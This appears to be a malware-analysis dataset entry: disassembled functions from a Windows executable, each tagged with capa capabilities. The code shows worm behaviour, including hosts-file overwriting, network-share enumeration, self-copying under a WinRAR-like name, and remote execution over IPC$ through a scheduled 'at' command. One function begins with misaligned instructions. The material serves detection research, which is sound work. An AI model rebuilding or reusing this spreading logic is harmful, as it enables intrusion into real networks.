joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406a6d
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x464
or dword [ebp - 0x354], 0xffffffff
push 0x104
push 0
lea eax, [ebp - 0x248]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 8]
push 0x40ce8c
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov eax, dword [ebp - 0x248]
and eax, 0xffffff
cmp eax, 0x5c3a43
jne 0x406b71
and dword [ebp - 0x358], 0
push 0x104
push 0
lea eax, [ebp - 0x460]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
dec eax
push eax
lea eax, [ebp - 0x248]
push eax
lea eax, [ebp - 0x460]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push 0x5c
lea eax, [ebp - 0x460]
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
pop ecx
pop ecx
mov dword [ebp - 0x358], eax
cmp dword [ebp - 0x358], 0
je 0x406b71
mov eax, dword [ebp - 0x358]
inc eax
mov dword [ebp - 0x358], eax
and dword [ebp - 0x464], 0
jmp 0x406b44
mov eax, dword [ebp - 0x464]
inc eax
mov dword [ebp - 0x464], eax
cmp dword [ebp - 0x464], 0x15
jge 0x406b71
mov eax, dword [ebp - 0x464]
push dword [eax*4 + 0x40fa90]
push dword [ebp - 0x358]
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x406b6f
jmp 0x406c4c
jmp 0x406b37
push 0x104
push 0
lea eax, [ebp - 0x350]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x140
push 0
lea eax, [ebp - 0x140]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x354], eax
lea eax, [ebp - 0x350]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x140]
push eax
call fcn.00406921
push 0x140
push 0
lea eax, [ebp - 0x140]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x140]
push eax
push dword [ebp - 0x354]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x406c40
cmp dword [0x4130fc], 1
jne 0x406c28
movsx eax, byte [ebp - 0x350]
test eax, eax
je 0x406c28
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x350]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x406c28
jmp 0x406c40
lea eax, [ebp - 0x350]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x140]
push eax
call fcn.00406921
jmp 0x406be3
push dword [ebp - 0x354]
call dword [sym.imp.KERNEL32.dll_FindClose]
leave
ret 4

Function at 0x406e09
Capabilities:
Check for time delay via gettickcount
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
and dword [ebp - 0x194], 0
lea eax, [ebp - 0x190]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x194], eax
push str.www.baidu.com
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x406e6e
cmp dword [ebp + 8], 0xffffffff
je 0x406e61
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0x194]
cmp eax, dword [ebp + 8]
jb 0x406e61
xor eax, eax
jmp 0x406e77
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x406e37
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
inc eax
leave
ret 4
Function at 0x406e7b
Capabilities:
Clear file content
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
mov dword [ebp - 8], str.127.0.0.1_______localhost_r_n
and dword [ebp - 4], 0
or dword [ebp - 0xc], 0xffffffff
push 0x104
push 0
lea eax, [ebp - 0x118]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x412420
push str._sdriversetchosts
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x80
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xc], eax
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [ebp - 8]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
leave
ret

Function at 0x40719f
Capabilities:
Create thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
and dword [ebp - 0x214], 0
and dword [ebp - 4], 0
and dword [ebp - 8], 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x214], eax
push 0x208
push 0
lea eax, [ebp - 0x210]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp - 0x214]
lea eax, [ebp - 0x210]
push eax
push dword [ebp - 0x214]
push dword [ebp + 8]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0
lea eax, [ebp - 0x210]
push eax
push 0x407057
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 8], eax
push 0x3e8
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x407241
push 0xe1f27272
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
xor eax, eax
inc eax
jmp 0x407251
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov eax, dword [ebp - 4]
leave
ret 4
Function at 0x407255
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc0
and dword [ebp - 8], 0
and dword [ebp - 4], 0
cmp dword [ebp + 0x10], 0
jne 0x407278
mov dword [ebp - 8], 1
jmp 0x407452
cmp dword [ebp + 0x10], 1
je 0x407288
cmp dword [ebp + 0x10], 2
jne 0x407452
and dword [ebp - 0xb4], 0
and dword [ebp - 0x60], 0
and dword [ebp - 0x5c], 0
push 0x50
push 0
lea eax, [ebp - 0xb0]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x50
push 0
lea eax, [ebp - 0x58]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0xb8], 1
jmp 0x4072d3
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp + 8]
movzx eax, word [eax + 6]
cmp dword [ebp - 0xb8], eax
ja 0x40738a
mov eax, dword [ebp + 8]
movzx eax, word [eax + 6]
sub eax, dword [ebp - 0xb8]
imul eax, eax, 0x28
mov ecx, dword [ebp + 8]
lea eax, [ecx + eax + 0xf8]
mov dword [ebp - 0x5c], eax
cmp dword [ebp + 0x10], 1
jne 0x407314
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x60], eax
jmp 0x407352
cmp dword [ebp + 0x10], 2
jne 0x407352
mov eax, dword [ebp - 0x5c]
cmp dword [eax + 0x10], 0
jbe 0x40734e
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x5c]
add eax, dword [ecx + 0x10]
mov ecx, dword [ebp + 0xc]
sub ecx, eax
mov dword [ebp - 0x60], ecx
jne 0x40734c
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 8], eax
jmp 0x407452
jmp 0x407352
and dword [ebp - 0x60], 0
cmp dword [ebp - 0x60], 0
jbe 0x407385
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0x60]
mov dword [ebp + eax*4 - 0xb0], ecx
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0xb8]
mov dword [ebp + eax*4 - 0x58], ecx
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
jmp 0x4072c6
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0x60], eax
and dword [ebp - 0xbc], 0
jmp 0x4073a9
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp - 0xbc]
cmp eax, dword [ebp - 0xb4]
jae 0x40740b
cmp dword [ebp + 0x10], 1
jne 0x4073e1
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp + eax*4 - 0xb0]
cmp eax, dword [ebp - 0x60]
jbe 0x4073df
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp + eax*4 - 0xb0]
mov dword [ebp - 0x60], eax
jmp 0x407409
cmp dword [ebp + 0x10], 2
jne 0x407409
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp + eax*4 - 0xb0]
cmp eax, dword [ebp - 0x60]
jae 0x407409
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp + eax*4 - 0xb0]
mov dword [ebp - 0x60], eax
jmp 0x40739c
and dword [ebp - 0xc0], 0
jmp 0x407421
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0xc0]
cmp eax, dword [ebp - 0xb4]
jae 0x407452
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0x60]
cmp ecx, dword [ebp + eax*4 - 0xb0]
jne 0x407450
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp + eax*4 - 0x58]
mov dword [ebp - 8], eax
jmp 0x407452
jmp 0x407414
cmp dword [ebp - 8], 0
jne 0x40745f
mov dword [ebp - 8], 1
mov eax, dword [ebp + 8]
movzx eax, word [eax + 6]
sub eax, dword [ebp - 8]
imul eax, eax, 0x28
mov ecx, dword [ebp + 8]
lea eax, [ecx + eax + 0xf8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
leave
ret 0xc
Function at 0x4080c8
Capabilities:
Copy file
Delete file
Get common file path
Get program files directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x318
push 0x104
push 0
lea eax, [ebp - 0x210]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
push 0x26
lea eax, [ebp - 0x210]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push str.WinRARRar.exe
lea eax, [ebp - 0x210]
push eax
push str._s_s
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x104
push 0
push 0x412980
call sub.MSVCRT.dll_memset
add esp, 0xc
call fcn.004024be
push eax
push 0x412310
push str._s_.8x.exe
push 0x412980
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0
push 0x412980
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x408182
xor eax, eax
jmp 0x408204
push 0x104
push 0
lea eax, [ebp - 0x318]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.c_312747.nls
push 0x412420
push 0x40c3c4
lea eax, [ebp - 0x318]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 3
push 0x413108
push 0x413104
lea eax, [ebp - 0x318]
push eax
call fcn.004011a6
test eax, eax
jne 0x4081e0
lea eax, [ebp - 0x318]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push 0
push 4
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x318]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x40f804], eax
xor eax, eax
inc eax
leave
ret

Function at 0x408290
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x4130fc], 0
jne 0x4082c4
cmp dword [0x413100], 1
jne 0x4082c4
mov dword [0x4130fc], 1
push 0
push 0
push 0
push 0x408247
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret
Function at 0x408ab1
Capabilities:
Create thread

Disassembly:
pushfd
call fcn.00401f19
dec edi
cmp byte [esi], dl
rcl dword [ebp - 0x75]
in al, dx
sub esp, 0x14
and dword [ebp - 0xc], 0
and dword [ebp - 8], 0
and dword [ebp - 4], 0
cmp dword [ebp - 8], 1
je 0x408acf
cmp dword [ebp + 8], 1
jne 0x408afd
and dword [ebp - 8], 0
cmp dword [0x413114], 0
je 0x408afd
push dword [0x413114]
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0xffffffffffffffff
push dword [0x413110]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
and dword [0x413110], 0
push dword [ebp - 4]
call fcn.0040668f
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 1
jne 0x408b83
or dword [ebp - 0x10], 0xffffffff
push 0x104
push 0
push 0x412a88
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x40cd18
call fcn.004024be
push eax
push 0x412310
push str._s_x._s
push 0x412a88
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
push 0
push 0x80
push 2
push 0
push 3
push 0xc0000000
push 0x412a88
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x10], eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x20
push 0
push 0x412c94
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
push 0
push 0
push 0x4088fe
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x413110], eax
cmp dword [ebp - 0xc], 1
jne 0x408c18
and dword [ebp - 0x14], 0
cmp dword [0x413118], 0
jne 0x408bc3
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x413118], eax
mov eax, dword [0x4122fc]
push dword [eax + 0x12a8]
push dword [0x413118]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x14], eax
push dword [0x413118]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
and dword [0x413118], 0
cmp dword [ebp - 0x14], 0x102
jne 0x408c18
mov dword [ebp - 8], 1
cmp dword [ebp - 4], 0
jne 0x408c0f
mov dword [ebp - 4], 4
jmp 0x408c13
and dword [ebp - 4], 0
jmp 0x408ac3
xor eax, eax
leave
ret 4

Function at 0x408c85
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
and dword [ebp - 8], 0
push 0
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_WSARecvFrom]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x408cd8
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x3e5
je 0x408cd8
or eax, 0xffffffff
jmp 0x408cda
xor eax, eax
leave
ret 0x18
Function at 0x408f85
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
or dword [ebp - 0x14], 0xffffffff
and dword [ebp - 0x18], 0
mov dword [ebp - 8], 0x4000
and dword [ebp - 4], 0
and dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0x40b92e
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
push 0
push 0
push 2
call sub.MPR.dll_WNetOpenEnumA
test eax, eax
je 0x408fc7
jmp 0x409131
push dword [ebp - 8]
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x408fe0
jmp 0x409131
push dword [ebp - 8]
push 0
push dword [ebp - 0xc]
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 8]
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
call dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x409108
and dword [ebp - 0x1c], 0
jmp 0x40901b
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x14]
jae 0x409106
mov eax, dword [ebp - 0x1c]
shl eax, 5
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx + eax + 0xc]
and eax, 1
je 0x4090e0
or dword [ebp - 0x12c], 0xffffffff
mov eax, dword [ebp - 0x1c]
shl eax, 5
mov ecx, dword [ebp - 0xc]
push dword [ecx + eax + 0x14]
push str._sdesktop.txt
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0xffffffff
je 0x4090e0
push dword [ebp - 0x12c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 0x1c]
shl eax, 5
mov ecx, dword [ebp - 0xc]
push dword [ecx + eax + 0x14]
push 0x40ce88
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x128]
push eax
call fcn.00406a6d
call fcn.00408290
mov eax, dword [ebp - 0x1c]
shl eax, 5
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx + eax + 0xc]
and eax, 2
je 0x409101
mov eax, dword [ebp - 0x1c]
shl eax, 5
add eax, dword [ebp - 0xc]
push eax
call fcn.00408f85
jmp 0x409014
jmp 0x409113
cmp dword [ebp - 0x18], 0x103
je 0x409113
jmp 0x409120
cmp dword [ebp - 0x18], 0x103
jne 0x408fe0
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push dword [ebp - 4]
call sub.MPR.dll_WNetCloseEnum
leave
ret 4
Function at 0x409246
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1ec
and dword [ebp - 0x1dc], 0
mov dword [ebp - 0x194], 1
and dword [ebp - 0x1e0], 0
lea eax, [ebp - 0x190]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0
jne 0x4092b9
push 0x40
push 0
lea eax, [ebp - 0x1d8]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x40
lea eax, [ebp - 0x1d8]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
lea eax, [ebp - 0x1d8]
mov dword [ebp - 0x1dc], eax
push dword [ebp - 0x1dc]
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 0
jne 0x4092e5
and dword [ebp - 0x194], 0
jmp 0x40945e
push 4
push 0
push dword [ebp + 8]
call sub.MSVCRT.dll_memset
add esp, 0xc
and dword [ebp - 0x1e4], 0
jmp 0x40930a
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
mov eax, dword [ebp - 0x1e0]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x1e4]
cmp dword [eax + ecx*4], 0
je 0x40945e
mov eax, dword [ebp - 0x1e0]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x1e4]
mov eax, dword [eax + ecx*4]
movzx eax, byte [eax]
mov dword [ebp - 0x1ec], eax
mov eax, dword [ebp - 0x1e0]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x1e4]
mov eax, dword [eax + ecx*4]
movzx eax, byte [eax + 1]
mov dword [ebp - 0x1e8], eax
cmp dword [ebp + 0x10], 1
jne 0x4093db
cmp dword [ebp - 0x1ec], 0xc0
jne 0x409378
cmp dword [ebp - 0x1e8], 0xa8
je 0x4093b7
cmp dword [ebp - 0x1ec], 0xa9
jne 0x409390
cmp dword [ebp - 0x1e8], 0xfe
je 0x4093b7
cmp dword [ebp - 0x1ec], 0xac
jne 0x4093a5
cmp dword [ebp - 0x1e8], 0x10
je 0x4093b7
cmp dword [ebp - 0x1ec], 0xa
je 0x4093b7
cmp dword [ebp - 0x1ec], 0x7f
jne 0x4093db
push 4
mov eax, dword [ebp - 0x1e0]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x1e4]
push dword [eax + ecx*4]
push dword [ebp + 8]
call sub.MSVCRT.dll_memcpy
add esp, 0xc
jmp 0x40945e
cmp dword [ebp + 0x10], 2
jne 0x409459
cmp dword [ebp - 0x1ec], 0xc0
je 0x409459
cmp dword [ebp - 0x1e8], 0xa8
je 0x409459
cmp dword [ebp - 0x1ec], 0xa9
je 0x409459
cmp dword [ebp - 0x1e8], 0xfe
je 0x409459
cmp dword [ebp - 0x1ec], 0xac
je 0x409459
cmp dword [ebp - 0x1e8], 0x10
je 0x409459
cmp dword [ebp - 0x1ec], 0xa
je 0x409459
cmp dword [ebp - 0x1ec], 0x7f
je 0x409459
push 4
mov eax, dword [ebp - 0x1e0]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x1e4]
push dword [eax + ecx*4]
push dword [ebp + 8]
call sub.MSVCRT.dll_memcpy
add esp, 0xc
jmp 0x40945e
jmp 0x4092fd
mov eax, dword [ebp + 8]
cmp dword [eax], 0
je 0x40946e
mov eax, dword [ebp + 8]
cmp dword [eax], 0xffffffff
jne 0x409475
and dword [ebp - 0x194], 0
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [ebp - 0x194]
leave
ret 0xc
Function at 0x409485
Capabilities:
Connect network resource
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5d0
and dword [ebp - 0x2c], 0
or dword [ebp - 0x30], 0xffffffff
mov eax, dword [sym.imp.USER32.dll_wsprintfA]
mov dword [ebp - 0x28], eax
mov eax, dword [sym.imp.KERNEL32.dll_WinExec]
mov dword [ebp - 4], eax
push 0x40
push 0
lea eax, [ebp - 0x70]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 8]
push str._sipc_
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
and dword [ebp - 0x1c], 0
mov dword [ebp - 0x24], 2
and dword [ebp - 0x20], 0
mov dword [ebp - 0x18], 1
and dword [ebp - 0xc], 0
mov dword [ebp - 0x14], 0x40cf7c
and dword [ebp - 8], 0
lea eax, [ebp - 0x70]
mov dword [ebp - 0x10], eax
push 0
push dword [ebp + 0xc]
push dword [ebp + 0x10]
lea eax, [ebp - 0x24]
push eax
call sub.MPR.dll_WNetAddConnection2A
test eax, eax
je 0x409513
mov eax, dword [ebp - 0x2c]
jmp 0x409658
push 0x40
push 0
lea eax, [ebp - 0x1b8]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
call fcn.004024be
push eax
push 0x40cee4
lea eax, [ebp - 0x1b8]
push eax
call dword [ebp - 0x28]
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0x178]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x1b8]
push eax
push 0x40cfe8
push dword [ebp + 8]
push str._s_s_s.exe
lea eax, [ebp - 0x178]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
push 0
push 0x80
push 2
push 0
push 3
push 0xc0000000
lea eax, [ebp - 0x178]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xffffffff
je 0x409648
and dword [ebp - 0x1bc], 0
push 0
lea eax, [ebp - 0x1bc]
push eax
push dword [0x4130c4]
push dword [0x4130c0]
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x1bc]
cmp eax, dword [0x4130c4]
jne 0x40963f
lea eax, [ebp - 0x5d0]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0x400
push 0
lea eax, [ebp - 0x5c0]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x1b8]
push eax
movzx eax, word [ebp - 0x5c6]
add eax, 3
push eax
movzx eax, word [ebp - 0x5c8]
push eax
push dword [ebp + 8]
push str.at__s__d:_d_C:_s.exe
lea eax, [ebp - 0x5c0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
push 0
lea eax, [ebp - 0x5c0]
push eax
call dword [ebp - 4]
mov dword [ebp - 0x2c], 1
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
push 1
lea eax, [ebp - 0x70]
push eax
call sub.MPR.dll_WNetCancelConnection2A
mov eax, dword [ebp - 0x2c]
leave
ret 0xc
Function at 0x40aa6a
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
and dword [eax + 0x14], 0
mov eax, dword [ebp + 8]
and dword [eax + 0x10], 0
mov eax, dword [ebp + 8]
mov dword [eax], 0x67452301
mov eax, dword [ebp + 8]
mov dword [eax + 4], 0xefcdab89
mov eax, dword [ebp + 8]
mov dword [eax + 8], 0x98badcfe
mov eax, dword [ebp + 8]
mov dword [eax + 0xc], 0x10325476
pop ebp
ret 4
Function at 0x40aca9
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
mov dword [ebp - 0xc], 1
and dword [ebp - 8], 0
and dword [ebp - 0x58], 0
and dword [ebp - 0x54], 0
mov eax, dword [sym.imp.USER32.dll_wsprintfA]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0x288
push dword [ebp - 8]
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x54], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x54]
call sub.IPHLPAPI.DLL_GetAdaptersInfo
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
je 0x40ad43
cmp dword [ebp - 0x58], 0x6f
jne 0x40ad35
push dword [ebp - 8]
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x54], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x54]
call sub.IPHLPAPI.DLL_GetAdaptersInfo
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
je 0x40ad33
and dword [ebp - 0xc], 0
jmp 0x40ae1c
jmp 0x40ad43
and dword [ebp - 0xc], 0
jmp 0x40ae1c
push 0x40
push 0
lea eax, [ebp - 0x50]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov eax, dword [ebp - 0x54]
movzx eax, byte [eax + 0x199]
push eax
mov eax, dword [ebp - 0x54]
movzx eax, byte [eax + 0x198]
push eax
mov eax, dword [ebp - 0x54]
movzx eax, byte [eax + 0x197]
push eax
mov eax, dword [ebp - 0x54]
movzx eax, byte [eax + 0x196]
push eax
mov eax, dword [ebp - 0x54]
movzx eax, byte [eax + 0x195]
push eax
mov eax, dword [ebp - 0x54]
movzx eax, byte [eax + 0x194]
push eax
push str._X__X__X__X__X__X
lea eax, [ebp - 0x50]
push eax
call dword [ebp - 4]
add esp, 0x20
push dword [ebp + 0xc]
push 0
push dword [ebp + 8]
call sub.MSVCRT.dll_memset
add esp, 0xc
and dword [ebp - 0x60], 0
and dword [ebp - 0x5c], 0
jmp 0x40adcc
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp dword [ebp - 0x60], eax
jge 0x40ae1c
mov eax, dword [ebp - 0x60]
movsx eax, byte [ebp + eax - 0x4f]
cmp eax, 0x2d
jne 0x40ae0b
cmp dword [ebp - 0x60], 0
je 0x40adfb
mov eax, dword [ebp - 0x60]
movsx eax, byte [ebp + eax - 0x51]
cmp eax, 0x2d
jne 0x40ae0b
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x5c]
mov byte [eax], 0x30
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x60]
mov cl, byte [ebp + ecx - 0x50]
mov byte [eax], cl
jmp 0x40adbe
